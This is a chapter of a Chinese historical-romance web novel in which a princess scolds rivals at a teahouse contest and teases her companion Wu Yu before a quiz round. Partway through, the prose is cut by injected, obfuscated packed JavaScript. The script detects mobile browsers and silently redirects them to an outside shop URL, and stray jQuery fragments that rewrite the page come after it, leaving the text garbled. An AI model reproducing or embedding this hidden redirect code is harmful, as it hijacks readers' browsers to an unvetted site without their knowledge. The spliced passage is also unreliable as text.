“你们以为自己算什么东西!”
再咚咚吸入一整壶热水,陈梓音自始至终还未冲淡心头火气,忍不住开口大骂发泄。
“你个狗腿子和你这目中无人的茶铺公子,真不知晓你面前站的是谁吗?一位尊贵的公主殿下与举世绝无仅有、深受百姓爱戴的吴大人,你们竟有胆子来与我们相争,不过只是个钦天监只管传话的二把手,不过只是个小小茶铺的管事,有何资本来与我们平起平坐,有空就去练练口舌看看狗嘴里还能吐出什么东西,都倒出来让本宫笑话笑话,这么多年连个高位都混不着是有原因的。”
飞刃带着破碎黄纸斜插进对桌,她一个眼神就让周遭百姓后退数步,茶盏溅了满手都没心思擦。
将赵平的破防之言全数堵回去,她扣下茶盏嗤笑道:“这就憋不住了,那你就来骂本宫啊,料你也不敢,就你这忍耐力估计向上爬的机会也没有,怎样丢战书不好,非要用飞刃戳,谁不会一样,现在马上麻溜地滚到观众席上去,答题没你的份儿。”
“公主殿下说滚,本官这就滚,还请吴公子加油。”
赵平只得摆出讨好姿态毕恭毕敬,嘴上仍不客气。
“本官原是想同公主殿下报告些事务,不过公主殿下应当已经知道凌大人与吴大人背后做的事,本官也不多罪,免得二位来寻本官麻烦。”
她抽出吴渔腰间佩剑甩到赵平鼻前,不耐烦道:“嘿你这人还真是个多管闲事的,本宫让你滚就赶紧滚,没让你说话——”
半句话时间,赵平丢下茶盏就滚进观众席。
也算是个怕死的,下台时没看楼梯直接摔了个跟头,若无其事般掸掉灰尘落座。
“哈哈哈哈还是公主殿下有法子,俺早看这人不爽了,日日都押人去搞那什么茶馆,弄得俺这几日看凌大人都顺眼了不少,好歹是替咱们防住了洪。”
“还有吴家那大公子,净会显摆,满城宣扬接了个邻国的大单子。”
杂乱话语绕得陈梓音头疼,她一掌落在桌案睨向身侧人。
茶叶效果丝毫没半点消减,她一想起那画面就欲移开这张赏心悦目的面庞。
“阿梓,还是觉得心头气难消吗,要不要来点糕点亦或是冰杨梅?”
“随便来点,要是不好吃我就把这楼拆了。”
越笑越像笑里藏刀,她干脆板脸喝茶,直至见起反作用后不装了。
“县令和你兄长怎得还没来,赶紧叫人去用马车把他们拉过来,难不成还要我亲自去请他们,到底在搞什么小动作?他若不是你兄长,我早就让人拖去打上几十鞭解气,你想想今早比试时他那居高临下的眼神,连个马都控制不好还来打马球,嘴上说的比做的好听,他以为他算什么东西,不就是管上家里那小破茶铺了吗?还来和咱们比,比得明白吗他?还有那什么大单子,依我看就是被人哄进去了。”
“还有对面这人简直烦透了,再不来我真要判他们弃权!”
她小嘴跟个机关枪那般诉说不满,看都不看张嘴就咬上去。
对红印十分满意,她微微颔首道:“这算便宜你的,好好比试,不然——”
“小的来迟,还请公主殿下责罚。”
“知道来迟了就快点比,本宫没空陪你们玩儿!”
吴立擦过额间汗液匆忙入座,虽表面气定神闲,但走姿却不如前几日有底气。
凌氏二人坐在他们身后的观众席充当“亲属团”,凌今对周遭百姓的怀疑不闻不问,全靠凌白用胡说八道的功法支撑。
酒楼大厅被围起来,两旁雅座摆满各式各样的好酒好菜。
满眼酸甜口全鱼宴的陈梓音仿佛要窒息掐人中,深呼出一口浊气往嘴里塞,强行嚼上几口骗过自己的胃后便一下都不再动。
吴立贼心不死道:“公主殿下,舍弟竟未曾告知过您清海楼的特色是全鱼宴么,倒是不走心疏忽了,如果是小——”
“本宫吃不吃与他何干,你们怎得一个两个管得都这么宽,吴公子若是计较这些,本宫是不是得在过门前对你喊一声兄长,不过吴公子可以再等上几日,毕竟小鱼回京后就要迎娶本宫,到时兄长与公公婆婆可要准时到场。”她说话毫不客气,手上将菜肴往吴渔手边推,“我回宫那日定要吃点不同的,你做。”
百姓间一片哗然,半数震惊婚事将近,半数感叹公主殿下嘴上不留情。
她这句话实实在在把吴立挂上了个斤斤计较公子的牌子,显得他在以长兄之姿来对公主殿下进行说教,轻则只道是开个玩笑,重则便是意在耍长兄威严行不敬之事,不把她这位公主殿下放在眼里。
吴立嘴角挂着尴尬的弧度回到座位,似是又听闻身后百姓不友好的谈论后选了个较低的位子,很显然所谓的父母连这些礼节都并未教导过他,能有的心思应当都用在她身上来吸引眼球争宠了。
可吴渔不同,倒是又给她端茶又是送水,礼仪方面自始至终全靠自学。
“根据吴公子提出的比试想法与双方协商的结——”
“放屁,谁和他协商了,根本没问过本宫的意见!”
陈梓音推翻桌案茶壶洒落一地,拔剑而起大跨几步来到跪伏的县令面前。
“还茶茶茶,茶什么茶,本宫来酒楼是要喝酒的,喝什么茶,难不成还要本宫来教教你什么是规矩!”
一时间所有在场的人轰然跪地,吓得她上头要骂。
无意贴上吴渔凉凉的皮肤紧急降温,她这才没将这群莽撞的人尽数拖出去。
“全、全凭公主殿下差遣,公主殿下若有想喝的小的定让人立刻寻来。”县令头也不敢抬,心里总想着让这群碎嘴百姓闭嘴,“如今是第二场比试,比的是学识,每出一道题按铃即可作答,先前本定下的前提是要喝一杯这茶才可按铃,因为是吴公子带来……不过公主殿下想喝酒也没事!每人均有两次场外求助机会,公主殿下您看……”
“阿梓莫要生气,任凭他们如何出题,我都比得过,至于酒……少喝一点。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790504|210369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“你竟然还替他说话,真亏我——”
她面庞贴上冰冰凉凉的杨梅酒,这才放下火气嘟囔道:“也罢,本宫暂且原谅你们,再有下次,本宫亲自罚。”
反而更在意掌心低温,陈梓音不自觉顺着爬上去感受。
面对鸦雀无声的大厅,她豪爽地闷了一碗杨梅酒坐回去,顺带捏住吴渔倒酒的手:“你就别喝了,免得你回去路上再给我来上几口,到那时我连门都不出了,而且若是父皇问起,我就说是被狗咬的,你等着被其他人笑话吧。”
吴渔收回手放于膝间坐好,顶着无辜温良相示众。
“你看公主殿下待吴大人这样好,还将令牌与绝世宝剑押在吴大人身上,吴大人想必是真有戏吧,你看公主殿下那后颈上的咬痕,会不会是……”
“非礼勿视非礼勿言懂吗!公主殿下与吴大人岂能容你置喙?你不知上次那人被吴大人——”
“说说罢了,公主殿下先前听了半天也只是笑笑过去也没罚俺们那,说不定过去只是借个名头吓唬吓唬俺们好立威,实际上还是关心俺们的,不过俺觉得可能是吴大人栽在公主殿下手上了,你看过去吴大人哪儿和人这样同出入,只怕是吴大人还没明白心思。”
她故作威胁道:“你俩也不避着本宫,说的话本宫听得一清二楚,再有下次,小心掉舌——”
话音未落,陈梓音整个人就被转回去,眼神飘向身边人表面风平浪静、耳尖却尽显通红的模样。
若她再撩几下是不是这人就彻底破功了,坏心思驱使她刚要动手。
“咳咳,既然公主殿下已无别的要求,那请各位肃静。”
“今日的笔试题目均出自钦天监大人与县令府之手,并未有偏袒任何一方的行为,请各位准备开始作答。”
她蹙眉瞥见凌今摇头,忽地知晓这县令应当是被钦天监亦或是吴立蒙进鼓里。
凌今并未参与出题,这所谓的钦天监大人只能是对立的另一派,而县令府出的题多半亦会受到他们的权势影响参杂水分。
但她身边这位可是为众人所熟知的文武双状元,与人形百科全书几近无差别,他们不就相当于给自己找不快还自取其辱吗?
她负责猛拍铃抢先对方,而吴渔负责作答。
铃都差点拍烂,题干也差点被人纠错。
仅仅几道题,吴立就对自己胞弟的实力有了个清晰认知:
不耍阴招,斗不过;耍了阴招,斗不过还羞辱自己。
吴立·两次场外援助机会都被用光,抓耳挠腮受着百姓嫌弃目光的洗礼。
“吴公子,比试比分差距拉开巨大,您……还要继续么?”
“三局两胜,就这水平不如直接投降吧,正好第三局比试本宫和他也不用比了。”
突然,赵平倒是出来打圆场了:“这场比试还未到最后,吴公子的能力都还未成功展示,公主殿下的定论还是下得太早,要不再等等。”
“你们,一起上吧。”